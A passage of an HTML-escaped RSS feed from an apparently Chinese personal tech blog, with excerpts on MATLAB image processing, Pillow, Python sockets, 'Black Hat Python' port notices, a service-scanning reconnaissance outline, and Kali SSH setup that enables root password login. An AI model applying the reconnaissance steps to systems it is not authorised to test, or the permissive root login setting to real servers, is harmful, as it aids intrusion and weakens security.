&lt;li&gt;&lt;a href="https://ymiir.asia"&gt;春恋慕 月梦·剑心的技术博客&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="http://www.red3691.top/"&gt;Red256&amp;rsquo;s Blog&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://hackerterry.netlify.app"&gt;HackerTerry&amp;rsquo;s Blog&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;</description></item><item><title>matlab基本图像处理</title><link>https://saucer-man.com/else/69.html</link><pubDate>Sat, 22 Sep 2018 05:59:00 +0000</pubDate><guid>https://saucer-man.com/else/69.html</guid><description>&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;I=imread(&amp;#39;D:/matlab/2.jpg&amp;#39;);%读取图像
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;I2=rot90(I,-1); %顺时针翻转90
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;I3=rot90(I,-2);%顺时针翻转180度
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;I4=rot90(I,-3);%顺时针翻转270度
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;I5=fliplr(I);%左右翻转 
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;I6=flipud(I); %上下翻转
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;[L,W,H]=size(I);
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;%四周取黑
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;I7=I;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;I7([1:L/4,L*3/4:L],:,:) = 0;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;I7(:,[1:W/4,W*3/4:W],:) = 0;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;% 中间取白
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;I8 = I;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;I8(L/4:L*3/4,W/4:W*3/4,:) = 255;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;% 上三角
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;I9=I;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;for i = 1:L
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; for j = 1:W
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; if ((W-j)/i&amp;lt;L/W)
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; I9(i,j,:)=0;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; end
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; end
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;end
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;subplot(3,3,1);imshow(I);title(&amp;#39;原始&amp;#39;);
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;subplot(3,3,2);imshow(I2);title(&amp;#39;翻转90度&amp;#39;);
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;subplot(3,3,3);imshow(I3);title(&amp;#39;翻转180度&amp;#39;);
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;subplot(3,3,4);imshow(I4);title(&amp;#39;翻转270度&amp;#39;);
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;subplot(3,3,5);imshow(I5);title(&amp;#39;左右翻转&amp;#39;);
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;subplot(3,3,6);imshow(I6);title(&amp;#39;上下翻转&amp;#39;);
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;subplot(3,3,7);imshow(I7);title(&amp;#39;四周取黑&amp;#39;);
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;subplot(3,3,8);imshow(I8);title(&amp;#39;中间取白&amp;#39;);
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;subplot(3,3,9);imshow(I9);title(&amp;#39;上三角&amp;#39;);
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;原图：
&lt;img src="https://saucer-man.com/usr/uploads/sina/5cc5cfdd5bf77.jpg" alt=""&gt;&lt;/p&gt;
&lt;p&gt;效果图：
&lt;img src="https://saucer-man.com/usr/uploads/sina/5cc5cfdd95c84.jpg" alt=""&gt;&lt;/p&gt;</description></item><item><title>python3 pillow模块</title><link>https://saucer-man.com/python/60.html</link><pubDate>Sat, 15 Sep 2018 10:51:46 +0000</pubDate><guid>https://saucer-man.com/python/60.html</guid><description>&lt;p&gt;pillow是一个和图片操作有关的python库，由于python2的PIL库年久失修，所以开发者们在PIL的基础上开发出了适合python3的pillow库。&lt;/p&gt;
&lt;p&gt;下面简单介绍一下pillow库的用法。&lt;/p&gt;
&lt;h2 id="1-使用image类"&gt;1. 使用image类&lt;/h2&gt;
&lt;p&gt;PIL最重要的类是 Image 类, 你可以通过多种方法创建这个类的实例。
比如从文件中加载对象，使用&lt;code&gt;open&lt;/code&gt;函数：&lt;/p&gt;</description></item><item><title>信息收集之主机服务扫描</title><link>https://saucer-man.com/information_security/59.html</link><pubDate>Wed, 12 Sep 2018 08:56:00 +0000</pubDate><guid>https://saucer-man.com/information_security/59.html</guid><description>&lt;p&gt;一般来说，我们进行信息收集时需要去了解目标主机上运行的服务，称为服务扫描。可以达到：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;识别开放端口上运行的应用&lt;/li&gt;
&lt;li&gt;识别目标操作系统&lt;/li&gt;
&lt;li&gt;提高攻击效率&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;我们想要达到的目的：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Banner捕获&lt;/li&gt;
&lt;li&gt;服务识别&lt;/li&gt;
&lt;li&gt;操作系统识别&lt;/li&gt;
&lt;li&gt;SNMP分析&lt;/li&gt;
&lt;li&gt;防火墙识别&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="1-banner"&gt;&lt;strong&gt;1. Banner&lt;/strong&gt;&lt;/h2&gt;
&lt;p&gt;目的：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;软件开发商&lt;/li&gt;
&lt;li&gt;软件名称&lt;/li&gt;
&lt;li&gt;服务类型&lt;/li&gt;
&lt;li&gt;版本号（直接发现已知的漏洞和弱点）&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;识别方法&lt;/p&gt;</description></item><item><title>kali开启ssh服务</title><link>https://saucer-man.com/operation_and_maintenance/58.html</link><pubDate>Sun, 19 Aug 2018 12:44:00 +0000</pubDate><guid>https://saucer-man.com/operation_and_maintenance/58.html</guid><description>&lt;h2 id="kali开启ssh服务"&gt;kali开启ssh服务&lt;/h2&gt;
&lt;p&gt;1.打开配置文件&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-shell" data-lang="shell"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;vi /etc/ssh/sshd_config
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;2.修改配置文件&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;将&lt;code&gt;#PasswordAuthentication no&lt;/code&gt;注释去掉，并修改为yes&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;将&lt;code&gt;#PermitRootLogin without-password&lt;/code&gt;修改为&lt;code&gt;PermitRootLogin yes&lt;/code&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;3.开启ssh&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-shell" data-lang="shell"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;service ssh start
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;或者&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-shell" data-lang="shell"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;/etc/init.d/ssh start 
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h2 id="其他配置"&gt;其他配置&lt;/h2&gt;
&lt;p&gt;配置ssh服务开机自启：&lt;/p&gt;</description></item><item><title>python黑帽子三通过paramiko使用ssh</title><link>https://saucer-man.com/python/57.html</link><pubDate>Sun, 19 Aug 2018 06:06:00 +0000</pubDate><guid>https://saucer-man.com/python/57.html</guid><description>&lt;p&gt;&lt;strong&gt;注：代码参考自《python黑帽子 黑客与渗透测试编程之道》，原书为python2版本，这里修改为python3版本。所有的代码整理在https://github.com/saucer-man/python-Black-hat&lt;/strong&gt;&lt;/p&gt;</description></item><item><title>python黑帽子二TCP代理</title><link>https://saucer-man.com/python/55.html</link><pubDate>Wed, 15 Aug 2018 05:13:00 +0000</pubDate><guid>https://saucer-man.com/python/55.html</guid><description>&lt;p&gt;&lt;strong&gt;注：代码参考自《python黑帽子 黑客与渗透测试编程之道》，原书为python2版本，这里修改为python3版本。所有的代码整理在https://github.com/saucer-man/python-Black-hat&lt;/strong&gt;&lt;/p&gt;</description></item><item><title>python黑帽子一netcat</title><link>https://saucer-man.com/information_security/54.html</link><pubDate>Fri, 10 Aug 2018 03:20:00 +0000</pubDate><guid>https://saucer-man.com/information_security/54.html</guid><description>&lt;p&gt;&lt;strong&gt;注：代码参考自《python黑帽子 黑客与渗透测试编程之道》，原书为python2版本，这里修改为python3版本。所有的代码整理在https://github.com/saucer-man/python-Black-hat&lt;/strong&gt;&lt;/p&gt;</description></item><item><title>Python3 Socket</title><link>https://saucer-man.com/python/53.html</link><pubDate>Tue, 07 Aug 2018 03:20:00 +0000</pubDate><guid>https://saucer-man.com/python/53.html</guid><description>&lt;h2 id="1-tcp-客户端"&gt;&lt;strong&gt;1. TCP 客户端&lt;/strong&gt;&lt;/h2&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-python" data-lang="python"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="nn"&gt;socket&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="n"&gt;target_host&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;www.sina.com&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="n"&gt;target_port&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mi"&gt;80&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# 建立一个socket对象&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="n"&gt;client&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;socket&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;socket&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;socket&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;AF_INET&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;socket&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;SOCK_STREAM&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# 连接客户端&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="n"&gt;client&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;connect&lt;/span&gt;&lt;span class="p"&gt;((&lt;/span&gt;&lt;span class="n"&gt;target_host&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;target_port&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# 发送一些数据&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="n"&gt;client&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;send&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sa"&gt;b&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;GET / HTTP/1.1&lt;/span&gt;&lt;span class="se"&gt;\r\n&lt;/span&gt;&lt;span class="s1"&gt;Host: www.sina.com.cn&lt;/span&gt;&lt;span class="se"&gt;\r\n&lt;/span&gt;&lt;span class="s1"&gt;Connection: close&lt;/span&gt;&lt;span class="se"&gt;\r\n\r\n&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# 接收数据:&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="n"&gt;buffer&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;[]&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="k"&gt;while&lt;/span&gt; &lt;span class="kc"&gt;True&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="c1"&gt;# 每次最多接收1k字节:&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="n"&gt;d&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;client&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;recv&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;1024&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="n"&gt;d&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="n"&gt;buffer&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;append&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;d&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="k"&gt;else&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="k"&gt;break&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="n"&gt;data&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="sa"&gt;b&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;&amp;#39;&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;join&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;buffer&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# 关闭连接:&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="n"&gt;client&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;close&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="n"&gt;header&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;html&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;data&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;split&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sa"&gt;b&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;&lt;/span&gt;&lt;span class="se"&gt;\r\n\r\n&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="nb"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;header&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;decode&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;utf-8&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# 把接收的数据写入文件:&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="k"&gt;with&lt;/span&gt; &lt;span class="nb"&gt;open&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;sina.html&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;wb&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="k"&gt;as&lt;/span&gt; &lt;span class="n"&gt;f&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="n"&gt;f&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;write&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;html&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h2 id="2-tcp-服务端"&gt;&lt;strong&gt;2. TCP 服务端&lt;/strong&gt;&lt;/h2&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-python" data-lang="python"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="nn"&gt;socket&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="nn"&gt;threading&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="nn"&gt;time&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="n"&gt;bind_ip&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;0.0.0.0&amp;#39;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="n"&gt;bind_port&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mi"&gt;9999&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="n"&gt;server&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;socket&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;socket&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;socket&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;AF_INET&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;socket&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;SOCK_STREAM&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="n"&gt;server&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;bind&lt;/span&gt;&lt;span class="p"&gt;((&lt;/span&gt;&lt;span class="n"&gt;bind_ip&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;bind_port&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="n"&gt;server&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;listen&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;5&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="nb"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;[*] Listening on &lt;/span&gt;&lt;span class="si"&gt;%s&lt;/span&gt;&lt;span class="s2"&gt;: &lt;/span&gt;&lt;span class="si"&gt;%d&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;&lt;/span&gt;&lt;span class="o"&gt;%&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;bind_ip&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;bind_port&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;tcplink&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;sock&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;addr&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="nb"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;Accept new connection from &lt;/span&gt;&lt;span class="si"&gt;%s&lt;/span&gt;&lt;span class="s1"&gt;:&lt;/span&gt;&lt;span class="si"&gt;%s&lt;/span&gt;&lt;span class="s1"&gt;...&amp;#39;&lt;/span&gt; &lt;span class="o"&gt;%&lt;/span&gt; &lt;span class="n"&gt;addr&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="n"&gt;sock&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;send&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sa"&gt;b&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;Welcome!&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="k"&gt;while&lt;/span&gt; &lt;span class="kc"&gt;True&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="n"&gt;data&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;sock&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;recv&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;1024&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="n"&gt;time&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;sleep&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="ow"&gt;not&lt;/span&gt; &lt;span class="n"&gt;data&lt;/span&gt; &lt;span class="ow"&gt;or&lt;/span&gt; &lt;span class="n"&gt;data&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;decode&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;utf-8&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;==&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;exit&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="k"&gt;break&lt;/span&gt;
